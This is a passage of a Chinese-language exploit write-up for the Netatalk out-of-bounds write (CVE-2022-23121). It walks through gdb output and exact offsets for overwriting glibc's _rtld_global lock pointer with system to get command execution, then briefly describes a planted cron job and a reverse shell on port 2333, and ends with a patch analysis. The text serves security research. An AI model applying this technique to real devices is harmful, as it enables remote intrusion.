#18 0x00007efeac7c80ae in ad_open_rf (path=0x55dcb5a7ef80 <upath> "cmd", adflags=0x283, mode=0x0, ad=0x55dcb6856780) at ad_open.c:1529
#19 0x00007efeac7c8d29 in ad_open (ad=0x55dcb6856780, path=0x55dcb5a7ef80 <upath> "cmd", adflags=0x283) at ad_open.c:1895
#20 0x000055dcb5a5a3bd in afp_openfork (obj=0x55dcb5a93920 <obj>, ibuf=0x7efeac2bf021 "Authent", ibuflen=0x11, rbuf=0x55dcb6840b10 "", rbuflen=0x55dcb6850b10) at fork.c:364
#21 0x000055dcb5a38c81 in afp_over_dsi (obj=0x55dcb5a93920 <obj>) at afp_dsi.c:627
#22 0x000055dcb5a5f3ff in dsi_start (obj=0x55dcb5a93920 <obj>, dsi=0x55dcb6840420, server_children=0x55dcb683d240) at main.c:474
#23 0x000055dcb5a5f102 in main (ac=0x4, av=0x7ffd9f27a1e8) at main.c:417

可以看到,程序试图调用位于0x4141414141414000处的函数

gef➤  x /i $pc
=> 0x7efeac84c59d <_dl_open+61>:        call   QWORD PTR [rip+0x199c5]        # 0x7efeac865f68 <_rtld_global+3848>
gef➤  x /gx 0x7efeac865f68
0x7efeac865f68 <_rtld_global+3848>:     0x4141414141414000
gef➤

https://code.woboq.org/userspace/glibc/elf/dl-open.c.html 可以看到_dl_open函数源码,该处为_dl_open函数试图通过函数指针调用__rtld_lock_lock_recursive指向的函数并把_dl_load_lock地址作为指针参数传入该函数内。

void *
_dl_open (const char *file, int mode, const void *caller_dlopen, Lmid_t nsid,
          int argc, char *argv[], char *env[])
{
  if ((mode & RTLD_BINDING_MASK) == 0)
    /* One of the flags must be set.  */
    _dl_signal_error (EINVAL, file, NULL, N_("invalid mode for dlopen()"));
  /* Make sure we are alone.  */
  __rtld_lock_lock_recursive (GL(dl_load_lock));

_rtld_global地址为0x7efeac865060

gef➤  p &_rtld_global
$4 = (struct rtld_global *) 0x7efeac865060 <_rtld_global>

__rtld_lock_lock_recursive 函数指针及参数dl_load_lock均为全局变量_rtld_global的成员

#  define GL(name) _rtld_local._##name
# else
#  define GL(name) _rtld_global._##name
定义在_rtld_local=_rtld_global

初始化过的全局变量存放在.data段,在ld.so中.data段的偏移为0x2e060

此时可以利用任意写将获取到的system函数地址覆盖到__rtld_lock_lock_recursive 内,并且将要执行的命令放入_dl_load_lock 即可造成命令执行。

命令执行

此前说过任意写是将map + ad.ADEID_RFORK.off 处长为ad.ADEID_RFORK.len的数据写入到map + ad.ADEID_FINDERI.off + 0x20 内,而在分配大小小于0x1000情况下,mmap函数分配的内存刚好在data段上面,此时mmap分配的内存地址距离要覆盖的_dl_load_lock 参数为0x2968,以此可得ad.ADEID_FINDERI.off=0x2940

$7 = (__rtld_lock_recursive_t *) 0x7efeac865968 <_rtld_global+2312>
gef➤  p &_rtld_global._dl_load_lock Quit
gef➤  p 0x7efeac865968 - 0x7efeac863000
$8 = 0x2968

同时还要覆盖到__rtld_lock_lock_recursive 函数指针,测算可得至少需要复制0x600的长度才能覆盖到函数指针,此处可以设置复制长度为0x620

gef➤  p &_rtld_global._dl_rtld_lock_recursive
$10 = (void (**)(void *)) 0x7efeac865f68 <_rtld_global+3848>
gef➤  p 0x7efeac865f68 - 0x7efeac863000
$11 = 0x2f68
gef➤  p 0x2f68 - 0x2968
$12 = 0x600

利用上述偏移,加上计算得到的system函数地址,生成可用文件,如下:

此时在目标主机内已有了该定时任务,在攻击机上监听2333端口即可收到反弹的shell

补丁分析

在Netatalk3.1.13版本中修复了该漏洞,在新版本中,先检查if中的条件而后给ad指向的结构体赋值,如果if中条件为真,也就是可能发生了越界则直接打印错误消息而后return -1,只有if条件不满足才继续赋值,从而防止了adouble结构体含有不正确的偏移,在外层函数获取到的偏移在范围内从而修复了该漏洞。

函数解释

**void** *memmove (**void** *__dest, **const** **void** *__src, size_t __n)
// dest指向要复制的目标内存,src指向要复制的数据内存,n为要复制的大小(字节)
// 如果dest和src指向的内存重叠,该函数仍然可以正常处理,逻辑如下

char str[] = "memmove can be very useful......";
memmove (str+20,str+15,11);
// 输出为 memmove can be very very useful.

参考链接

https://code.woboq.org/userspace/glibc/elf/dl-open.c.html#_dl_open

https://nosec.org/home/detail/4997.html

https://research.nccgroup.com/2022/03/24/remote-code-execution-on-western-digital-pr4100-nas-cve-2022-23121/

Created at 2023-11-23T10:46:28+08:00

创建于:Thursday, November 23,2023
最后修改于: Tuesday, January 2,2024